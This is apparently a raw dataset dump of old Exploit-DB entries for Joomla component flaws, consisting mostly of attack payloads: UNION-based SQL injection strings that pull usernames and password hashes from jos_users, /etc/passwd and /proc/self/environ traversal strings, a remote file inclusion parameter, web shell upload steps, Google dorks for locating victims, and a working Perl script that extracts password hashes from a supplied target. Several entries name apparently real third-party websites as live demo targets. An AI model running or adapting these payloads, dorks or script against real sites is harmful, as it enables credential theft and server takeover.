deardaniel/secdata-raw huggingface dataset:
Exploit-DB #13800
Description: Joomla! Component com_jsubscription - SQL Injection
Type: webapps
Platform: php
Date: 2010-06-09
Author: Sid3^effects

Exploit:
       ============================================
        joomla com_jsubscription SQLi Vulnerability
       ============================================
1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0
0     _                   __           __       __                     1
1   /' \            __  /'__`\        /\ \__  /'__`\                   0
0  /\_, \    ___   /\_\/\_\ \ \    ___\ \ ,_\/\ \/\ \  _ ___           1
1  \/_/\ \ /' _ `\ \/\ \/_/_\_<_  /'___\ \ \/\ \ \ \ \/\`'__\          0
0     \ \ \/\ \/\ \ \ \ \/\ \ \ \/\ \__/\ \ \_\ \ \_\ \ \ \/           1
1      \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\           0
0       \/_/\/_/\/_/\ \_\ \/___/  \/____/ \/__/ \/___/  \/_/           1
1                  \ \____/ >> Exploit database separated by exploit   0
0                   \/___/          type (local, remote, DoS, etc.)    1
1                                                                      1
0  [+] Site            : Inj3ct0r.com                                  0
1  [+] Support e-mail  : submit[at]inj3ct0r.com                        1
0                                                                      0
1               ##########################################             1
0               I'm Sid3^effects member from Inj3ct0r Team             1
1               ##########################################             0
0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1

Name : Joomla com_jsubscription SQLi Vulnerability
Date : june, 9 2010
Vendor url :http://ijoobi.com
Platform: Windows
Author : Sid3^effects aKa HaRi <shell_c99[at]yahoo.com>
special thanks to : r0073r (inj3ct0r.com),L0rd CruSad3r,MaYur,gunslinger_
greetz to :All ICW members.

###############################################################################################################
Description:

Joomla com_jsubscription from ijoobi suffers from sql injection vulnerability :).


###############################################################################################################

Xploit: SQLi Vulnerability

DEMO URL :

    http://server/index.php?option=com_jsubscription&controller=subscription&task=[sqli]

###############################################################################################################
# 0day no more
# Sid3^effects
Exploit-DB #13797
Description: Joomla! Component com_jtickets - SQL Injection
Type: webapps
Platform: php
Date: 2010-06-09
Author: Sid3^effects

Exploit:
       ============================================
          joomla com_jtickets SQLi Vulnerability
       ============================================
1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0
0     _                   __           __       __                     1
1   /' \            __  /'__`\        /\ \__  /'__`\                   0
0  /\_, \    ___   /\_\/\_\ \ \    ___\ \ ,_\/\ \/\ \  _ ___           1
1  \/_/\ \ /' _ `\ \/\ \/_/_\_<_  /'___\ \ \/\ \ \ \ \/\`'__\          0
0     \ \ \/\ \/\ \ \ \ \/\ \ \ \/\ \__/\ \ \_\ \ \_\ \ \ \/           1
1      \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\           0
0       \/_/\/_/\/_/\ \_\ \/___/  \/____/ \/__/ \/___/  \/_/           1
1                  \ \____/ >> Exploit database separated by exploit   0
0                   \/___/          type (local, remote, DoS, etc.)    1
1                                                                      1
0  [+] Site            : Inj3ct0r.com                                  0
1  [+] Support e-mail  : submit[at]inj3ct0r.com                        1
0                                                                      0
1               ##########################################             1
0               I'm Sid3^effects member from Inj3ct0r Team             1
1               ##########################################             0
0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1

Name : Joomla com_jtickets SQLi Vulnerability
Date : june, 9 2010
Vendor url :http://ijoobi.com
Dork: inurl:com_jtickets
Platform: Windows
Author : Sid3^effects aKa HaRi <shell_c99[at]yahoo.com>
special thanks to : r0073r (inj3ct0r.com),L0rd CruSad3r,MaYur,gunslinger_
greetz to :All ICW members.

#######################################################################################################

########
Description:

Joomla com_jtickets from ijoobi suffers from sql injection vulnerability :).


#######################################################################################################

########

Xploit: SQLi Vulnerability

DEMO URL :

    http://server/index.php?option=com_jtickets&controller=ticket&task=[sqli]

#######################################################################################################

########
# 0day no more
# Sid3^effects
Exploit-DB #9504
Description: Joomla! Component com_jtips 1.0.x - 'season' Blind SQL Injection
Type: webapps
Platform: php
Date: 2009-08-24
Author: Chip d3 bi0s

Exploit:
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Joomla Component com_jtips (season) Blind SQL-injection Vulnerability
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++


###################################################
[+] Author        :  Chip D3 Bi0s
[+] Group         :  LatinHackteam
--------------------------------------------------
author       :     Russell...
author Email :     chipdebios[alt+64]gmail.com

###################################################

Example:
http://localhost/path/index.php?option=com_jtips&Itemid=1&task=ladder&season=2[SQL code]


DEMO (1):
http://www.brotherspjrlc.com.au/index.php?option=com_jtips&Itemid=1&task=ladder&season=2+and+1=1
True !!!!

http://www.brotherspjrlc.com.au/index.php?option=com_jtips&Itemid=1&task=ladder&season=2+and+1=2
False !!!


DEMO (2):
http://highfields.info/index.php?option=com_jtips&Itemid=2&task=ladder&season=1+and+1=1
True !!!

http://highfields.info/index.php?option=com_jtips&Itemid=2&task=ladder&season=1+and+1=!
False !!!


etc, etc....
+++++++++++++++++++++++++++++++++++++++
#[!] Produced in South America
+++++++++++++++++++++++++++++++++++++++

tested: 1.0.7 / 1.0.9

# milw0rm.com [2009-08-24]
Exploit-DB #11707
Description: Joomla! Component com_juliaportfolio - Local File Inclusion
Type: webapps
Platform: php
Date: 2010-03-12
Author: DevilZ TM

Exploit:
[~]######################################### InformatioN #############################################[~]
 
[~] Title     : Joomla Component com_juliaportfolio Local File Inclusion 
[~] Author    : DevilZ TM By D3v1l
[~] Homepage  : http://www.DEVILZTM.com
[~] Contact   : DevilZTM@Gmail.CoM & D3v1l.blackhat@yahoo.com
 
[~]#########################################   ExploiT   #############################################[~]
 
[~] Vulnerable File :
 
http://127.0.0.1/index.php?option=com_juliaportfolio&controller=[LFI]
 
[~] ExploiT         :
 
../../../../../../../../../../etc/passwd%00

../../../../../../../../../../proc/self/environ%00
 
[~] Example         :
 
http://127.0.0.1/index.php?option=com_juliaportfolio&controller=../../../../../../../../../../etc/passwd%00
 
 
[~]######################################### ThankS To ... ############################################[~]
 
[~] Special Thanks To My Best FriendS :
 
Exim0r , Raiden , b3hz4d , PLATEN , M4hd1 , Net.Edit0r , Amoo Arash , r3d-r0z AND All Iranian HackerS
 
[~] IRANIAN Young HackerZ
 
[~]#########################################   FinisH :D   #############################################[~]
Exploit-DB #11089
Description: Joomla! Component com_jvideodirect - Directory Traversal
Type: webapps
Platform: php
Date: 2010-01-10
Author: FL0RiX

Exploit:
@~~=======================================~~@
@~~=Script : Joomla Component com_jvideodirect

@~~=Author : FL0RiX

@~~=Greez : Deep-Power ,Pyske,Wretch-x & All Friends

@~~=Bug Type : Directory Traversal

@~~=Dork : inurl:"com_jvideodirect "

@~~=Note : Kimseye Hakettiginden Fazla Deger Vermeyecekmissin..!!

@~~=======================================~~@

@~~=Vuln.

: http://site/ [Yol] /index.php?option=com_jvideodirect&controller=../../../../../../../../../../etc/passwd%00
Exploit-DB #11845
Description: Joomla! Component com_jwmmxtd - Remote File Inclusion
Type: webapps
Platform: php
Date: 2010-03-23
Author: eidelweiss

Exploit:
#################################################################
	Joomla component com_jwmmxtd <= Remote File Inclusion Vulnerability
#################################################################

Info:	"JW Media Manager XTD" (com_jwmmxtd) Administrator Component for Joomla! 1.0.x & Mambo 4.5.x/4.6.x
Version:	1.2	
License:	http://www.gnu.org/copyleft/gpl.html
Page:	http://www.joomlaworks.gr
Download: http://joomlaworks.googlecode.com/files/com_jwmmxtd_v1.2.zip

#################################################################

Author:	eidelweiss
Contact:	eidelweiss[at]cyberservices[dot]com
Thanks:	JosS (hack0wn) - r0073r & 0x1D (inj3ct0r) - LeQhi - aRiee - idiot_inside - kuris
Special:	AL-MARHUM - [D]eal [C]yber - syabilla_putri (miss u)

#################################################################

-=[ BUG ]=-

[+] admin.jwmmxtd.php

-=[ VULN ]=-

	// Language File
	if (file_exists($mosConfig_absolute_path.'/administrator/components/'.JWMMXTD_COMP.'/language/'.$mosConfig_lang.'.php')) {
		include_once ($mosConfig_absolute_path.'/administrator/components/'.JWMMXTD_COMP.'/language/'.$mosConfig_lang.'.php');
	} else {
		include_once ($mosConfig_absolute_path.'/administrator/components/'.JWMMXTD_COMP.'/language/english.php');
	}

	// PCLZIP Library
	include_once ($mosConfig_absolute_path.'/administrator/components/'.JWMMXTD_COMP.'/lib/pclzip.class.php');

-=[ P0C ]=-

http://127.0.0.1/administrator/components/com_jwmmxtd/admin.jwmmxtd.php?mosConfig_absolute_path= [inj3ct0r]

#################################################################
[ FIX ] Use Your Skill and Play Your Imagination
#################################################################
Exploit-DB #9030
Description: Joomla! Component com_K2 -q 1.0.1b - 'category' SQL Injection
Type: webapps
Platform: php
Date: 2009-06-29
Author: Chip d3 bi0s

Exploit:
----------------------------------------------------------------------
Joomla Component com_k2 (sectionid) SQL injection Vulnerability
----------------------------------------------------------------------

 ###################################################
 [+] Author        :  Chip D3 Bi0s
 [+] Email         :  chipdebios[alt+64]gmail.com
 [+] Group         :  LatinHackTeam
 [+] Vulnerability :  SQL injection
 ###################################################

  
 Information from file: mod_k2.xml

 Name         : K2 Module
 Author       : JoomlaWorks
 CreationDate : April 6th, 2009
 Copyright    : Copyright (c) 2006-2009 JoomlaWorks Ltd. All rights reserved.
 AuthorEmail  : contact@joomlaworks.gr
 AuthorUrl    : www.joomlaworks.gr
 Version      : 1.0.1 Beta 
 License      : http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
 
 Dowloand     : http://code.google.com/p/joomlaworks/downloads/detail?name=K2-1.0.1beta2_j15_UNZIP_FIRST.zip
 
--------------------------------------------------------------------


Example:

http://localHost/path//index.php?option=com_k2&view=itemlist&category=<sql Code>

<Sql Code>:
null'+and+1=2+union+select+1,concat(username,0x3a,password)ChipD3Bi0s,3,4,5,6,7,8,9,10,11,12,13,14+from+jos_users/*
 

Demo Live (1):
http://ajedrezmarketing.com/index.php?option=com_k2&view=itemlist&category=null'+and+1=2+union+select+1,concat(username,0x3a,password)ChipD3Bi0s,3,4,5,6,7,8,9,10,11,12,13,14+from+jos_users/*



+++++++++++++++++++++++++++++++++
[!] Produced in South America
---------------------------------

# milw0rm.com [2009-06-29]
Exploit-DB #11035
Description: Joomla! Component com_king - Blind SQL Injection
Type: webapps
Platform: php
Date: 2010-01-06
Author: Pyske

Exploit:
<------------------- header data start ------------------- >

#############################################################
# Joomla Component com_king Blind SQL Injection Vulnerability
#############################################################

# Author : Pyske | Bug Researchers


# Name : com_king


# Bug Type : Blind SQL Injection


# Infection : Admin login bilgileri al?nabilir.


# Demo Vuln. :

TRUE(+)

http://site.com/kids/index.php?option=com_king&Itemid=0&task=show&id_k=13 and 1=1

FALSE(-)

http://site.com/kids/index.php?option=com_king&Itemid=0&task=show&id_k=13 and 1=0

# Bug Fix Advice : Zararli karakterler filtrelenmelidir.

#############################################################

< ------------------- header data end of ------------------- >

< -- bug code start -- >

path /index.php?option=com_king&Itemid=0&task=show&id_k=13/**/and/**/1=0/**/union/**/select/**/0,concat(username,0x3a,password),2,3,4,5,6,7,8/**/from/**/jos_users--

< -- bug code end of -- >
Exploit-DB #11033
Description: Joomla! Component com_kk - Blind SQL Injection
Type: webapps
Platform: php
Date: 2010-01-06
Author: Pyske

Exploit:
<------------------- header data start ------------------- >

#############################################################
# Joomla Component com_kk Blind SQL Injection Vulnerability
#############################################################

# Author : Pyske | Bug Researchers


# Name : com_kk


# Bug Type : Blind SQL Injection


# Infection : Admin login bilgileri alinabilir.


# Demo Vuln. :

TRUE(+)

http://localhost/index.php?option=com_kk&kat=1 and 1=1

FALSE(-)

http://localhost/index.php?option=com_kk&kat=1 and 1=0

# Bug Fix Advice : Zararli karakterler filtrelenmelidir.

#############################################################

< ------------------- header data end of ------------------- >

< -- bug code start -- >

path /index.php?option=com_kk&kat=1/**/and/**/1=0/**/union/**/select/**/0,concat(username,0x3a,password)/**/from/**/klhtrade_users

< -- bug code end of -- >
_________________________________________________________________
Exploit-DB #10790
Description: Joomla! Component com_kkcontent - Blind SQL Injection
Type: webapps
Platform: php
Date: 2009-12-29
Author: Pyske

Exploit:
<------------------- header data start ------------------- >

#############################################################
# Joomla Component com_kkcontent Blind SQL Injection Vulnerability
#############################################################

# Author : Pyske

# Home : www.cyber-warrior.org

# Greetz : Fl0riX , M-K-A and All Cyber-Warrior

# Name : com_kkcontent

# Bug Type : Blind SQL Injection

# Infection : Admin login bilgileri al?nabilir.


# Bug Fix Advice : Zararli karakterler filtrelenmelidir.

#############################################################

< ------------------- header data end of ------------------- >

< -- bug code start -- >

path /index.php?option=com_kkcontent&catID=9/**/and/**/1=0/**/union/**/select/**/0,concat(username,0x3a,password)/**/from/**/jos_users--

< -- bug code end of -- >
Exploit-DB #36598
Description: Joomla! Component com_kp - 'Controller' Local File Inclusion
Type: webapps
Platform: php
Date: 2012-01-21
Author: the_cyber_nuxbie

Exploit:
source: https://www.securityfocus.com/bid/51623/info

The 'com_kp' component for Joomla! is prone to a local file-include vulnerability because it fails to properly sanitize user-supplied input.

An attacker can exploit this vulnerability to obtain potentially sensitive information and execute arbitrary local scripts in the context of the webserver process. This may allow the attacker to compromise the application and the computer; other attacks are also possible. 

http://www.example.com/index.php?option=com_kp&controller=[LFI]
Exploit-DB #19792
Description: Joomla! Component com_ksadvertiser - Remote File / Bypass Upload
Type: webapps
Platform: php
Date: 2012-07-13
Author: D4NB4R

Exploit:
############################################################################
# 
# Exploit Title: Joomla com_KSAdvertiser Remote File & Bypass Upload Vulnerability 
#
# Google Dork: inurl:index.php?option=com_ksadvertiser
#
# Date: [12-07-2012]
#
# Author: Daniel Barragan "D4NB4R"
#
# Twitter: @D4NB4R
#
# site: http://www.insecurityperu.org/
#
# vendor Link: http://www.kiss-software.de
# 
# Tested on: [Linux(arch)-Windows(7ultimate)]
#

1.  Some pages require the Register
    Registrese Algunas Paginas lo exigen
   
   http://site/index.php?option=com_user&view=login


2.  Go to the upload path
    Dirijase a la ruta del upload 

   
   http://site/index.php?option=com_ksadvertiser&Itemid=36&task=add&catid=0&lang=en


3.  Go to images and give click to upload, browse your file shell.php, and rename it to shell.php.gif
    Vaya a imagenes y dele click a upload, examine su archivo shell.php y renombrelo a shell.php.gif 

4.  Locate your file in the root / images/ksadvertiser/U0 -> this may vary
    Busque su archivo en la raiz /images/ksadvertiser/U0 --> esta puede variar
 
    http://site/images/ksadvertiser/U0/403.php.gif

 
Im not responsible for which is given
No me hago responsable del uso que se le de
_______________________________________________________________________________________
Daniel Barragan "D4NB4R"

Site:  http://www.exploit-db.com // http://packetstormsecurity.org // http://1337day.com/
Exploit-DB #11068
Description: Joomla! Component com_ksadvertiser - SQL Injection
Type: webapps
Platform: php
Date: 2010-01-08
Author: FL0RiX

Exploit:
########################################################################
#        Joomla Component com_ksadvertiser SQL Injection Vulnerability
########################################################################
# Author   :FL0RiX
#
# Name     : com_ksadvertiser
#
# Bug Type   : SQL Injection
#
# Infection    : Admin login bilgileri alinabilir.
#
# Demo Vuln :
#
# http://server/index.php?option=com_ksadvertiser&pid=[EXPLOIT]&task=showcats
#
#EXPLOIT : null/**/union/**/select/**/1,2,3,4,concat(username,0x3a,password),6,7,8,9,10,11,12,13,14/**/from/**/jos_users--
########################################################################
Exploit-DB #22153
Description: Joomla! Component com_kunena - 'search' SQL Injection
Type: webapps
Platform: php
Date: 2012-10-22
Author: D35m0nd142

Exploit:
#!/usr/bin/perl 
#Exploit title: Joomla Component com_kunena SQL Injection exploit 
#Google Dork: inurl:index.php?option=com_kunena&
#Exploit Author: D35m0nd142
#Screenshot : http://imageshack.us/f/155/comkunena2.png/
#Vendor HomePage: http://www.joomla.org/ 
#Special thanks to Taurusomar
system("clear");
print "*********************************************\n";
print "* Joomla Component com_kunena SQL Injection *\n";
print "*      Coded by D35m0nd142                  *\n";
print "*********************************************\n";
sleep 1;
use LWP::UserAgent;
print "Enter the target --> ";
chomp(my $target=<STDIN>);
$code="%25%27%20and%201=2%29%20union%20select%201,%20concat%280x3a,username,0x3a,email,0x3a,0x3a,activation%29,concat%280x3a,username,0x3a,email,0x3a,password,0x3a,activation%29,%27Super%20Administrator%27,%27email%27,%272009-11-26%2022:09:28%27,%272009-11-26%2022:09:28%27,62,1,1,0,0,0,1,15%20from%20jos_users--%20;";
$agent = LWP::UserAgent->new() or die "[!] Error while processing";
$agent->agent('Mozilla/5.0 (Windows NT 6.1; WOW64; rv:7.0.1) Gecko/20100101 Firefox/7.0.12011');
$host= $target. "/index.php?option=com_kunena&func=userlist&search=".$code;
$ok = $agent->request(HTTP::Request->new(GET=>$host));
$ok1 = $ok->content; if ($ok1 =~/([0-9a-fA-F]{32})/){
print "[+] Password found --> $1\n$2\n";
sleep 1;
}
else
{
print "Password not found \n";
}
Exploit-DB #11279
Description: Joomla! Component com_kunena - Blind SQL Injection
Type: webapps
Platform: php
Date: 2010-01-28
Author: B-HUNT3|2

Exploit:
[~]>> ...[BEGIN ADVISORY]...

!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

[~]>> TITLE: Joomla (com_kunena) BLIND SQL Injection Vulnerability
[~]>> LANGUAGE: PHP
[~]>> DORK: N/A
[~]>> RESEARCHER: B-HUNT3|2
[~]>> CONTACT: bhunt3r[at_no_spam]gmail[dot_no_spam]com
[~]>> TESTED ON: LocalHost

!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

[~]>> DESCRIPTION: Input var do is vulnerable to SQL Code Injection
[~]>> AFFECTED VERSIONS: Confirmed in 1.5.9 but probably other versions also
[~]>> RISK: Medium/High
[~]>> IMPACT: Execute Arbitrary SQL queries

!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

[~]>> PROOF OF CONCEPT:

[~]>> http://[HOST]/[JOOMLA_PATH]/index.php?option=com_kunena&Itemid=86&func=announcement&do=[SQL]

[~]>> {RETURN TRUE::RETURN FALSE} ---> VIEW TIME RESPONSE ||| HIGH: TRUE ||| LOW: FALSE

[~]>> http://server/[JOOMLA_PATH]/index.php?option=com_kunena&Itemid=86&func=announcement&do=show', link='0wn3d', task='0wn3d' WHERE userid=62 AND 1=if(substring(@@version,1,1)=5,benchmark(999999,md5(@@version)),1)/*
[~]>> http://server/[JOOMLA_PATH]/index.php?option=com_kunena&Itemid=86&func=announcement&do=show', link='0wn3d', task='0wn3d' WHERE userid=62 AND 1=if(substring(@@version,1,1)=4,benchmark(999999,md5(@@version)),1)/*

[~]>> Note: There are more affected vars.

!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

[~]>> ...[END ADVISORY]...
Exploit-DB #12868
Description: Joomla! Component com_lead - SQL Injection
Type: webapps
Platform: php
Date: 2010-06-03
Author: ByEge

Exploit:
[TR] Title: Joomla Component com_lead SQL Injection 

[TR] Date: 03.06.2010

[TR] Author: ByEge

[TR] Homepage: byege.blogspot.com

[TR] Vendor: http://www.leadya.co.il/

[TR] ExploiT :

[TR] index.php?option=com_lead&task=display&archive=1&Itemid=65&leadstatus=1' 

[TR] column number : 14 
[TR] column name : username , password
[TR] table name : jos_users

[TR] Th4nks : KaTLiaMCi06 , Fantastik, MitolocyA, ISYAN
Exploit-DB #11698
Description: Joomla! Component com_leader - SQL Injection
Type: webapps
Platform: php
Date: 2010-03-12
Author: DevilZ TM

Exploit:
# Title : Joomla Component com_leader SQL Injection Vulnerability 
# Author: DevilZ TM
# Data  : 2010-03-11

[~]######################################### InformatioN #############################################[~]
 
[~] Title     : Joomla Component com_leader SQL Injection Vulnerability 
[~] Author    : DevilZ TM By D3v1l
[~] Homepage  : http://www.DEVILZTM.com
[~] Contact   : DevilZTM@Gmail.CoM & D3v1l.blackhat@yahoo.com
 
[~]#########################################   ExploiT   #############################################[~]
 
[~] Vulnerable File :
 
http://127.0.0.1/index.php?option=com_leader&Itemid=3160&task=view&id=[SQL]
 
[~] ExploiT         :
 
-1 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11 FROM jos_users
 
[~] Example         :
 
http://127.0.0.1/index.php?option=com_leader&Itemid=3160&task=view&id=-1 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11 FROM jos_users

[~] Demo            :

http://server/index.php?option=com_leader&Itemid=3160&task=view&id=-498 UNION SELECT 1,concat(username,0x3a,password),3,4,5,6,7,8,9,10,11 FROM jos_users
 
 
[~]######################################### ThankS To ... ############################################[~]
 
[~] Special Thanks To My Best FriendS :
 
Exim0r , Raiden , b3hz4d , PLATEN , M4hd1 , Net.Edit0r , Amoo Arash , r3d-r0z AND All Iranian HackerS
 
[~] IRANIAN Young HackerZ
 
[~]#########################################   FinisH :D   #############################################[~]